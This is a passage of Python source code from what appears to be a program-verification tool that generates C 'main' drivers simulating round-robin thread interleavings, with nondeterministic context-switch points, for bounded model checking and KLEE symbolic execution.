__CSEQ_assume(__cs_pc_cs <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs;\\n\"\n main +=\" }\\n\\n\"\n main +=\"\\n\"\n # For other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" unsigned int __cs_tmp_t%s_r%s;\\n\" % (i, round)\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs = __cs_tmp_t%s_r%s;\\n\" % (i, round)\n else:\n main +=\" __cs_pc_cs = __cs_pc[%s] + __cs_tmp_t%s_r%s;\\n\" % (i, i, round)\n main +=\" __CSEQ_assume(__cs_pc_cs >= __cs_pc[%s]);\\n\" % (i)\n main +=\" __CSEQ_assume(__cs_pc_cs <= %s);\\n\" % (self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc[%s] = __cs_pc_cs;\\n\" % (i)\n main +=\" }\\n\\n\"\n i += 1\n\n\n ''' Last called to main\n '''\n\n # For the last call to main thread\n # k = int(math.floor(math.log(self.__lines['main'],2)))+1\n main += \" unsigned int __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n self._bitwidth['main','__cs_tmp_t0_r%s' % (ROUNDS)] = k\n main +=\" if (__cs_active_thread[0] == 1) {\\n\"\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs = __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n else:\n main +=\" __cs_pc_cs = __cs_pc[0] + __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n main +=\" __CSEQ_assume(__cs_pc_cs >= __cs_pc_0);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" }\\n\"\n main += \" return 0;\\n\"\n main += \"}\\n\\n\"\n\n return main\n\n def __createMainDecomposePC(self, ROUNDS):\n ''' New main driver:\n '''\n main = ''\n main += \"int main(void) {\\n\"\n\n ''' Part I:\n Pre-guessed jump lengths have a size in bits depending on the size of the thread.\n '''\n for r in range(0, ROUNDS):\n for t in range(0,self.__threadbound+1):\n threadsize = self.__lines[self.__threadName[t]]\n k = int(math.floor(math.log(threadsize,2)))+1\n self._bitwidth['main','__cs_tmp_t%s_r%s' % (t,r)] = k\n\n ''' First round (round 0)\n '''\n round = 0\n # Main thread\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" unsigned int __cs_tmp_t0_r0 %s;\\n\" % self.__extra_nondet\n main +=\" __CSEQ_assume(__cs_tmp_t0_r0 > 0);\\n\"\n main +=\" __cs_pc_cs_0 = __cs_tmp_t0_r0;\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs_0 <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_last_thread = 0;\\n\"\n main +=\" __cs_pc_0 = __cs_pc_cs_0;\\n\"\n main +=\"\\n\"\n # Other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" unsigned int __cs_tmp_t%s_r0 %s;\\n\" % (i, self.__extra_nondet)\n # main +=\" __CSEQ_assume(__cs_tmp_t%s_r0 >= 0);\\n\" % (i)\n main +=\" unsigned int __cs_run_t%s_r0 = (__cs_tmp_t%s_r0 && (__cs_active_thread[%s] == 1));\\n\" % (i, i, i)\n self._bitwidth['main','__cs_run_t%s_r0' % (i)] = 1 # Register to bitwidth parameter\n main +=\" if (__cs_run_t%s_r0) {\\n\" % (i)\n main +=\" __cs_pc_cs_%s = __cs_tmp_t%s_r0;\\n\" % (i, i)\n main +=\" __CSEQ_assume(__cs_pc_cs_%s <= %s);\\n\" % (i, self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_last_thread = %s;\\n\" % (i)\n main +=\" __cs_pc_%s = __cs_pc_cs_%s;\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n ''' Other rounds\n '''\n for round in range(1, ROUNDS):\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n # For main thread\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" __CSEQ_assume(__cs_last_thread != 0);\\n\"\n main +=\" unsigned int __cs_tmp_t0_r%s %s;\\n\" % (round, self.__extra_nondet)\n # main +=\" __CSEQ_assume(__cs_tmp_t0_r%s >= 0);\\n\" % (round)\n main +=\" unsigned int __cs_run_t0_r%s = (__cs_tmp_t0_r%s && (__cs_active_thread[0] == 1));\\n\" % (round, round)\n self._bitwidth['main','__cs_run_t0_r%s' % (round)] = 1 # Register to bitwidth parameter\n main +=\" if (__cs_run_t0_r%s) {\\n\" % (round)\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs_0 = __cs_tmp_t0_r%s;\\n\" % (round)\n else:\n main +=\" __cs_pc_cs_0 = __cs_pc_0 + __cs_tmp_t0_r%s;\\n\" % (round)\n main +=\" __CSEQ_assume(__cs_pc_cs_0 >= __cs_pc_0);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs_0 <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_last_thread = 0;\\n\"\n main +=\" __cs_pc_0 = __cs_pc_cs_0;\\n\"\n main +=\" }\\n\\n\"\n main +=\"\\n\"\n # For other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" __CSEQ_assume(__cs_last_thread != %s);\\n\" % (i)\n main +=\" unsigned int __cs_tmp_t%s_r%s %s;\\n\" % (i, round, self.__extra_nondet)\n # main +=\" __CSEQ_assume(__cs_tmp_t%s_r%s >= 0);\\n\" % (i, round)\n main +=\" unsigned int __cs_run_t%s_r%s = (__cs_tmp_t%s_r%s && (__cs_active_thread[%s] == 1));\\n\" % (i, round, i, round, i)\n self._bitwidth['main','__cs_run_t%s_r%s' % (i, round)] = 1 # Register to bitwidth parameter\n main +=\" if (__cs_run_t%s_r%s) {\\n\" % (i, round)\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs_%s = __cs_tmp_t%s_r%s;\\n\" % (i, i, round)\n else:\n main +=\" __cs_pc_cs_%s = __cs_pc_%s + __cs_tmp_t%s_r%s;\\n\" % (i, i, i, round)\n main +=\" __CSEQ_assume(__cs_pc_cs_%s >= __cs_pc_%s);\\n\" % (i, i)\n main +=\" __CSEQ_assume(__cs_pc_cs_%s <= %s);\\n\" % (i, self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_last_thread = %s;\\n\" % (i)\n main +=\" __cs_pc_%s = __cs_pc_cs_%s;\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n\n ''' Last called to main\n '''\n\n # For the last call to main thread\n k = int(math.floor(math.log(self.__lines['main'],2)))+1\n main += \" unsigned int __cs_tmp_t0_r%s %s;\\n\" % (ROUNDS, self.__extra_nondet)\n self._bitwidth['main','__cs_tmp_t0_r%s' % (ROUNDS)] = k\n # main +=\" __CSEQ_assume(__cs_tmp_t0_r%s >= 0);\\n\" % (ROUNDS)\n main +=\" if (__cs_active_thread[0] == 1) {\\n\"\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs_0 = __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n else:\n main +=\" __cs_pc_cs_0 = __cs_pc_0 + __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n main +=\" __CSEQ_assume(__cs_pc_cs_0 >= __cs_pc_0);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs_0 <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" }\\n\"\n main += \" return 0;\\n\"\n main += \"}\\n\\n\"\n\n return main\n\n def __createMainOnePCCS(self, ROUNDS):\n ''' New main driver:\n '''\n main = ''\n main += \"int main(void) {\\n\"\n\n ''' Part I:\n Pre-guessed jump lengths have a size in bits depending on the size of the thread.\n '''\n\n maxsize = 0\n for t in self.__lines:\n maxsize = max(maxsize, int(self.__lines[t]))\n k = int(math.floor(math.log(maxsize,2)))+1\n\n for r in range(0, ROUNDS):\n for t in range(0,self.__threadbound+1):\n # threadsize = self.__lines[self.__threadName[t]]\n # k = int(math.floor(math.log(threadsize,2)))+1\n self._bitwidth['main','__cs_tmp_t%s_r%s' % (t,r)] = k\n\n ''' First round (round 0)\n '''\n round = 0\n # Main thread\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" unsigned int __cs_tmp_t0_r0;\\n\"\n main +=\" __CSEQ_assume(__cs_tmp_t0_r0 > 0);\\n\"\n main +=\" __cs_pc_cs = __cs_tmp_t0_r0;\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_last_thread = 0;\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs;\\n\"\n main +=\"\\n\"\n # Other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" unsigned int __cs_tmp_t%s_r0;\\n\" % (i)\n # main +=\" __CSEQ_assume(__cs_tmp_t%s_r0 >= 0);\\n\" % (i)\n main +=\" unsigned int __cs_run_t%s_r0 = (__cs_tmp_t%s_r0 && (__cs_active_thread[%s] == 1));\\n\" % (i, i, i)\n self._bitwidth['main','__cs_run_t%s_r0' % (i)] = 1 # Register to bitwidth parameter\n main +=\" if (__cs_run_t%s_r0) {\\n\" % (i)\n main +=\" __cs_pc_cs = __cs_tmp_t%s_r0;\\n\" % (i)\n main +=\" __CSEQ_assume(__cs_pc_cs_%s <= %s);\\n\" % (i, self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_last_thread = %s;\\n\" % (i)\n main +=\" __cs_pc[%s] = __cs_pc_cs;\\n\" % (i)\n main +=\" }\\n\\n\"\n i += 1\n\n ''' Other rounds\n '''\n for round in range(1, ROUNDS):\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n # For main thread\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" __CSEQ_assume(__cs_last_thread != 0);\\n\"\n main +=\" unsigned int __cs_tmp_t0_r%s;\\n\" % (round)\n # main +=\" __CSEQ_assume(__cs_tmp_t0_r%s >= 0);\\n\" % (round)\n main +=\" unsigned int __cs_run_t0_r%s = (__cs_tmp_t0_r%s && (__cs_active_thread[0] == 1));\\n\" % (round, round)\n self._bitwidth['main','__cs_run_t0_r%s' % (round)] = 1 # Register to bitwidth parameter\n main +=\" if (__cs_run_t0_r%s) {\\n\" % (round)\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs = __cs_tmp_t0_r%s;\\n\" % (round)\n else:\n main +=\" __cs_pc_cs = __cs_pc[0] + __cs_tmp_t0_r%s;\\n\" % (round)\n main +=\" __CSEQ_assume(__cs_pc_cs >= __cs_pc_0);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_last_thread = 0;\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs;\\n\"\n main +=\" }\\n\\n\"\n main +=\"\\n\"\n # For other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" __CSEQ_assume(__cs_last_thread != %s);\\n\" % (i)\n main +=\" unsigned int __cs_tmp_t%s_r%s;\\n\" % (i, round)\n # main +=\" __CSEQ_assume(__cs_tmp_t%s_r%s >= 0);\\n\" % (i, round)\n main +=\" unsigned int __cs_run_t%s_r%s = (__cs_tmp_t%s_r%s && (__cs_active_thread[%s] == 1));\\n\" % (i, round, i, round, i)\n self._bitwidth['main','__cs_run_t%s_r%s' % (i, round)] = 1 # Register to bitwidth parameter\n main +=\" if (__cs_run_t%s_r%s) {\\n\" % (i, round)\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs = __cs_tmp_t%s_r%s;\\n\" % (i, round)\n else:\n main +=\" __cs_pc_cs = __cs_pc_%s + __cs_tmp_t%s_r%s;\\n\" % ( i, i, round)\n main +=\" __CSEQ_assume(__cs_pc_cs >= __cs_pc_%s);\\n\" % (i)\n main +=\" __CSEQ_assume(__cs_pc_cs <= %s);\\n\" % (self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_last_thread = %s;\\n\" % (i)\n main +=\" __cs_pc[%s] = __cs_pc_cs;\\n\" % (i)\n main +=\" }\\n\\n\"\n i += 1\n\n\n ''' Last called to main\n '''\n\n # For the last call to main thread\n # k = int(math.floor(math.log(self.__lines['main'],2)))+1\n main += \" unsigned int __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n self._bitwidth['main','__cs_tmp_t0_r%s' % (ROUNDS)] = k\n # main +=\" __CSEQ_assume(__cs_tmp_t0_r%s >= 0);\\n\" % (ROUNDS)\n main +=\" if (__cs_active_thread[0] == 1) {\\n\"\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs = __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n else:\n main +=\" __cs_pc_cs = __cs_pc[0] + __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n main +=\" __CSEQ_assume(__cs_pc_cs >= __cs_pc[0]);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" }\\n\"\n main += \" return 0;\\n\"\n main += \"}\\n\\n\"\n\n return main\n\n def __createMainRoundRobin(self, ROUNDS):\n ''' New main driver:\n '''\n main = ''\n main += \"int main(void) {\\n\"\n\n ''' Part I:\n Pre-guessed jump lengths have a size in bits depending on the size of the thread.\n '''\n for r in range(0, ROUNDS):\n for t in range(0,self.__threadbound+1):\n threadsize = self.__lines[self.__threadName[t]]\n k = int(math.floor(math.log(threadsize,2)))+1\n self._bitwidth['main','__cs_tmp_t%s_r%s' % (t,r)] = k\n\n ''' First round (round 0)\n '''\n round = 0\n # Main thread\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" unsigned int __cs_tmp_t0_r0 %s;\\n\" % self.__extra_nondet\n main +=\" __cs_pc_cs[0] = __cs_tmp_t0_r0;\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs[0] > 0);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs[0] <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs[0];\\n\"\n main +=\"\\n\"\n # Other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" unsigned int __cs_tmp_t%s_r0 %s;\\n\" % (i, self.__extra_nondet)\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n main +=\" __cs_pc_cs[%s] = __cs_tmp_t%s_r0;\\n\" % (i, i)\n main +=\" __CSEQ_assume(__cs_pc_cs[%s] <= %s);\\n\" % (i, self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc[%s] = __cs_pc_cs[%s];\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n ''' Other rounds\n '''\n for round in range(1, ROUNDS):\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n # For main thread\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" unsigned int __cs_tmp_t0_r%s %s;\\n\" % (round, self.__extra_nondet)\n main +=\" if (__cs_active_thread[0]) {\\n\"\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs[0] = __cs_tmp_t0_r%s;\\n\" % (round)\n else:\n main +=\" __cs_pc_cs[0] = __cs_pc[0] + __cs_tmp_t0_r%s;\\n\" % (round)\n main +=\" __CSEQ_assume(__cs_pc_cs[0] >= __cs_pc[0]);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs[0] <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs[0];\\n\"\n main +=\" }\\n\\n\"\n main +=\"\\n\"\n # For other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" unsigned int __cs_tmp_t%s_r%s %s;\\n\" % (i, round, self.__extra_nondet)\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs[%s] = __cs_tmp_t%s_r%s;\\n\" % (i, i, round)\n else:\n main +=\" __cs_pc_cs[%s] = __cs_pc[%s] + __cs_tmp_t%s_r%s;\\n\" % (i, i, i, round)\n main +=\" __CSEQ_assume(__cs_pc_cs[%s] >= __cs_pc[%s]);\\n\" % (i, i)\n main +=\" __CSEQ_assume(__cs_pc_cs[%s] <= %s);\\n\" % (i, self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc[%s] = __cs_pc_cs[%s];\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n\n ''' Last called to main\n '''\n\n # For the last call to main thread\n k = int(math.floor(math.log(self.__lines['main'],2)))+1\n main += \" unsigned int __cs_tmp_t0_r%s %s;\\n\" % (ROUNDS, self.__extra_nondet)\n self._bitwidth['main','__cs_tmp_t0_r%s' % (ROUNDS)] = k\n main +=\" if (__cs_active_thread[0] == 1) {\\n\"\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs[0] = __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n else:\n main +=\" __cs_pc_cs[0] = __cs_pc[0] + __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n main +=\" __CSEQ_assume(__cs_pc_cs[0] >= __cs_pc[0]);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs[0] <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" }\\n\"\n main += \" return 0;\\n\"\n main += \"}\\n\\n\"\n\n return main\n\n def __createMain(self, ROUNDS):\n ''' New main driver:\n '''\n main = ''\n main += \"int main(void) {\\n\"\n\n ''' Part I:\n Pre-guessed jump lengths have a size in bits depending on the size of the thread.\n '''\n for r in range(0, ROUNDS):\n for t in range(0,self.__threadbound+1):\n threadsize = self.__lines[self.__threadName[t]]\n k = int(math.floor(math.log(threadsize,2)))+1\n self._bitwidth['main','__cs_tmp_t%s_r%s' % (t,r)] = k\n\n ''' First round (round 0)\n '''\n round = 0\n # Main thread\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" unsigned int __cs_tmp_t0_r0 %s;\\n\" % self.__extra_nondet\n main +=\" __CSEQ_assume(__cs_tmp_t0_r0 > 0);\\n\"\n main +=\" __cs_pc_cs[0] = __cs_tmp_t0_r0;\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs[0] <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_last_thread = 0;\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs[0];\\n\"\n main +=\"\\n\"\n # Other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" unsigned int __cs_tmp_t%s_r0 %s;\\n\" % (i, self.__extra_nondet)\n main +=\" unsigned int __cs_run_t%s_r0 = (__cs_tmp_t%s_r0 && (__cs_active_thread[%s] == 1));\\n\" % (i, i, i)\n self._bitwidth['main','__cs_run_t%s_r0' % (i)] = 1 # Register to bitwidth parameter\n main +=\" if (__cs_run_t%s_r0) {\\n\" % (i)\n main +=\" __cs_pc_cs[%s] = __cs_tmp_t%s_r0;\\n\" % (i, i)\n main +=\" __CSEQ_assume(__cs_pc_cs[%s] <= %s);\\n\" % (i, self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_last_thread = %s;\\n\" % (i)\n main +=\" __cs_pc[%s] = __cs_pc_cs[%s];\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n ''' Other rounds\n '''\n for round in range(1, ROUNDS):\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n # For main thread\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" __CSEQ_assume(__cs_last_thread != 0);\\n\"\n main +=\" unsigned int __cs_tmp_t0_r%s %s;\\n\" % (round, self.__extra_nondet)\n main +=\" unsigned int __cs_run_t0_r%s = (__cs_tmp_t0_r%s && (__cs_active_thread[0] == 1));\\n\" % (round, round)\n self._bitwidth['main','__cs_run_t0_r%s' % (round)] = 1 # Register to bitwidth parameter\n main +=\" if (__cs_run_t0_r%s) {\\n\" % (round)\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs[0] = __cs_tmp_t0_r%s;\\n\" % (round)\n else:\n main +=\" __cs_pc_cs[0] = __cs_pc[0] + __cs_tmp_t0_r%s;\\n\" % (round)\n main +=\" __CSEQ_assume(__cs_pc_cs[0] >= __cs_pc[0]);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs[0] <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" __cs_last_thread = 0;\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs[0];\\n\"\n main +=\" }\\n\\n\"\n main +=\"\\n\"\n # For other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" __CSEQ_assume(__cs_last_thread != %s);\\n\" % (i)\n main +=\" unsigned int __cs_tmp_t%s_r%s %s;\\n\" % (i, round, self.__extra_nondet)\n main +=\" unsigned int __cs_run_t%s_r%s = (__cs_tmp_t%s_r%s && (__cs_active_thread[%s] == 1));\\n\" % (i, round, i, round, i)\n self._bitwidth['main','__cs_run_t%s_r%s' % (i, round)] = 1 # Register to bitwidth parameter\n main +=\" if (__cs_run_t%s_r%s) {\\n\" % (i, round)\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs[%s] = __cs_tmp_t%s_r%s;\\n\" % (i, i, round)\n else:\n main +=\" __cs_pc_cs[%s] = __cs_pc[%s] + __cs_tmp_t%s_r%s;\\n\" % (i, i, i, round)\n main +=\" __CSEQ_assume(__cs_pc_cs[%s] >= __cs_pc[%s]);\\n\" % (i, i)\n main +=\" __CSEQ_assume(__cs_pc_cs[%s] <= %s);\\n\" % (i, self.__lines[t])\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_last_thread = %s;\\n\" % (i)\n main +=\" __cs_pc[%s] = __cs_pc_cs[%s];\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n\n ''' Last called to main\n '''\n\n # For the last call to main thread\n k = int(math.floor(math.log(self.__lines['main'],2)))+1\n main += \" unsigned int __cs_tmp_t0_r%s %s;\\n\" % (ROUNDS, self.__extra_nondet)\n self._bitwidth['main','__cs_tmp_t0_r%s' % (ROUNDS)] = k\n main +=\" if (__cs_active_thread[0] == 1) {\\n\"\n if self.__guess_cs_only:\n main +=\" __cs_pc_cs[0] = __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n else:\n main +=\" __cs_pc_cs[0] = __cs_pc[0] + __cs_tmp_t0_r%s;\\n\" % (ROUNDS)\n main +=\" __CSEQ_assume(__cs_pc_cs[0] >= __cs_pc[0]);\\n\"\n main +=\" __CSEQ_assume(__cs_pc_cs[0] <= %s);\\n\" % (self.__lines['main'])\n main +=\" main_thread();\\n\"\n main +=\" }\\n\"\n main += \" return 0;\\n\"\n main += \"}\\n\\n\"\n\n return main\n\n\n #######################################################################################################\n #######################################################################################################\n #######################################################################################################\n #######################################################################################################\n #######################################################################################################\n #######################################################################################################\n #######################################################################################################\n def __createMainKLEERoundRobinDecomposePC(self, ROUNDS):\n ''' New main driver:\n '''\n main = ''\n main += \"int main(void) {\\n\"\n ''' First round (round 0)\n '''\n round = 0\n # Main thread\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" __cs_pc_cs_0 = klee_range(1, %s, \\\"__cs_pc_cs_0\\\");\\n\" % (self.__lines['main'] + 1)\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc_0 = __cs_pc_cs_0;\\n\"\n main +=\"\\n\"\n # Other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n main +=\" __cs_pc_cs_%s = klee_range(0, %s, \\\"__cs_pc_cs_%s\\\");\\n\" % (i, self.__lines[t] + 1, i)\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc_%s = __cs_pc_cs_%s;\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n ''' Other rounds\n '''\n for round in range(1, ROUNDS):\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n # For main thread\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" if (__cs_active_thread[0]) {\\n\"\n main +=\" __cs_pc_cs_0 = klee_range(__cs_pc_0, %s, \\\"__cs_pc_cs_0\\\");\\n\" % (self.__lines['main'] + 1)\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc_0 = __cs_pc_cs_0;\\n\"\n main +=\" }\\n\\n\"\n main +=\"\\n\"\n # For other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n main +=\" __cs_pc_cs_%s = klee_range(__cs_pc_%s, %s, \\\"__cs_pc_cs_%s\\\");\\n\" % (i, i, self.__lines[t] + 1, i)\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc_%s = __cs_pc_cs_%s;\\n\" % (i, i)\n main +=\" }\\n\\n\"\n i += 1\n\n\n ''' Last called to main\n '''\n\n # For the last call to main thread\n main +=\" if (__cs_active_thread[0] == 1) {\\n\"\n main +=\" __cs_pc_cs_0 = klee_range(__cs_pc_0, %s, \\\"__cs_pc_cs_0\\\");\\n\" % (self.__lines['main'] + 1)\n main +=\" main_thread();\\n\"\n main +=\" }\\n\"\n main += \" return 0;\\n\"\n main += \"}\\n\\n\"\n\n return main\n\n def __createMainKLEERoundRobinOnePCCS(self, ROUNDS):\n ''' New main driver:\n '''\n main = ''\n main += \"int main(void) {\\n\"\n\n ''' First round (round 0)\n '''\n round = 0\n # Main thread\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" __cs_pc_cs = klee_range(1, %s, \\\"__cs_pc_cs\\\");\\n\" % (self.__lines['main'] + 1)\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs;\\n\"\n main +=\"\\n\"\n # Other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n main +=\" __cs_pc_cs = klee_range(0, %s, \\\"__cs_pc_cs\\\");\\n\" % (self.__lines[t] + 1)\n main +=\" %s(__cs_threadargs[%s]);\\n\" % (t, i)\n main +=\" __cs_pc[%s] = __cs_pc_cs;\\n\" % (i)\n main +=\" }\\n\\n\"\n i += 1\n\n ''' Other rounds\n '''\n for round in range(1, ROUNDS):\n main +=\"__CSEQ_rawline(\\\"/* round %s */\\\");\\n\" % round\n # For main thread\n main +=\"__CSEQ_rawline(\\\" /* main */\\\");\\n\"\n main +=\" if (__cs_active_thread[0]) {\\n\"\n main +=\" __cs_pc_cs = klee_range(__cs_pc[0], %s, \\\"__cs_pc_cs\\\");\\n\" % (self.__lines['main'] + 1)\n main +=\" main_thread();\\n\"\n main +=\" __cs_pc[0] = __cs_pc_cs;\\n\"\n main +=\" }\\n\\n\"\n main +=\"\\n\"\n # For other threads\n i = 1\n for t in self.__threadName:\n if t == 'main': continue\n if i <= self.__threadbound:\n main +=\"__CSEQ_rawline(\\\" /* %s */\\\");\\n\" % t\n main +=\" if (__cs_active_thread[%s]) {\\n\" % (i)\n main +=\" __cs_pc_cs = klee_range(__cs_pc[%s], %s, 